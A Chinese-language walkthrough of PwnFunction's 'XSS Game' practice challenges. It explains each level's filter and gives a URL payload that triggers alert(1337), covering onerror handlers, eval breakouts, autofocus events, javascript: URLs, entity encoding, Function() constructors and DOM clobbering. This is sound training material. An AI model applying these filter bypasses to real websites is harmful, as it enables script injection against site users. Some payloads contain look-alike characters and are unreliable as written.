XSS Game - Learning XSS Made Simple! | Created by PwnFunction

第一关        Ma Spaghet

        我们看一下源码，它意思就是我们给somebody传参，传的参数会被放进<h2>标签里面。 这里要求我们不能与用户进行交互，所以alert（1337）需要自己触发，

        当插入纯文本时，建议不要使用 innerHTML。取而代之的是使用 Node.textContent ，它不会把给定的内容解析为 HTML，它仅仅是将原始文本插入给定的位置。

        所以 innerHTML 只过滤了 <scrip>,我们可以写其他的来触发； 那么我想到用img标签利用onerror事件来触发。

 ?somebody=<img%20src=a%20onerror=alert(1337)>

第二关        Jefff

        这道题是在给 jeff 传参，会将参数值放在 eval 中执行，那么这个题目也很简单，这里的eval跟php中的eval作用一致，都会执行（）里面的命令，那么我们只用跳出 ￥{ jeff } 即可

?jeff=aaa";alert(1337);"
或
?jeff=aaa"-alert(1337)-"

第三关        Ugandan Knuckles

        这道题是将wey传进来的参数进行了一个过滤替换，将< >替换为空，放进input标签之中，那么我们的img、div等标签都不能用了，我们只能够在这个input标签中进行xss，还不能跟用户进行交互，那就只能使用事件来处理了，事件中有一个onfocus事件是聚焦，autofocus是自动聚焦，这样是不是就可以实现不进行交互的前提下触发这个事件。

?wey=aaa"οnfοcus=alert(1)%20autofocus="

第四关        Ricardo Milos

这一关是对我们传进来的参数进行一个submit提交，通过URL中的JavaScript伪协议来执行XSS,URL查询参数ricardo作为注入点:

?ricardo=javascript:alert(1337)

第五关        Ah That's Hawt

        这一关是将传入的参进行了过滤导致（）进来时被替换为空但是我们使用标签或伪协议时我们都需使用（）所以我们可以先进行实体编码，再对实体编码进行urlcode编码，当参数在url中传递过去后会解码，漏出实体编码，实体编码就可以绕过过滤传递给h2正常执行。

?markassbrownlee=<img src=a οnerrοr=%26%2340%3B1337%26%2341%3B>

第六关        Ligma

        这道题限制了数字，字母，可以使用JSFuck绕过，JS代码混淆为只包含[, ], (, ), !, +这6种字符的字符串，这些字符在 URL 中有特殊含义，或者可能与 URL 语法发生冲突，所以我们还需要进行urlcode编码

第七关        Mafia

        这道题对我们传入的参数进行了过滤，将alert和一些特殊符号进行过滤，除了alert还有其他两个弹窗函数,但除了这两个我们还可以使用javascript的构造函数执行，利用Function()()两个括号就能够直接执行，定义一个函数

payload：mafia=Function(/ALERT(1337)/.source.toLowerCase())()

第八关        Ok, Boomer

        这关用了过滤框架，他这个框架对代码进行一个过滤，将危险代码去除，但是这个定时器setTimeout(ok,200),在这个代码里显得非常多余，所以这也是我们突破的点，这里ok会被执行我们可以利用它来进行突破

payload:boomer=<a id=ok href=cid:alert(1337)></a>
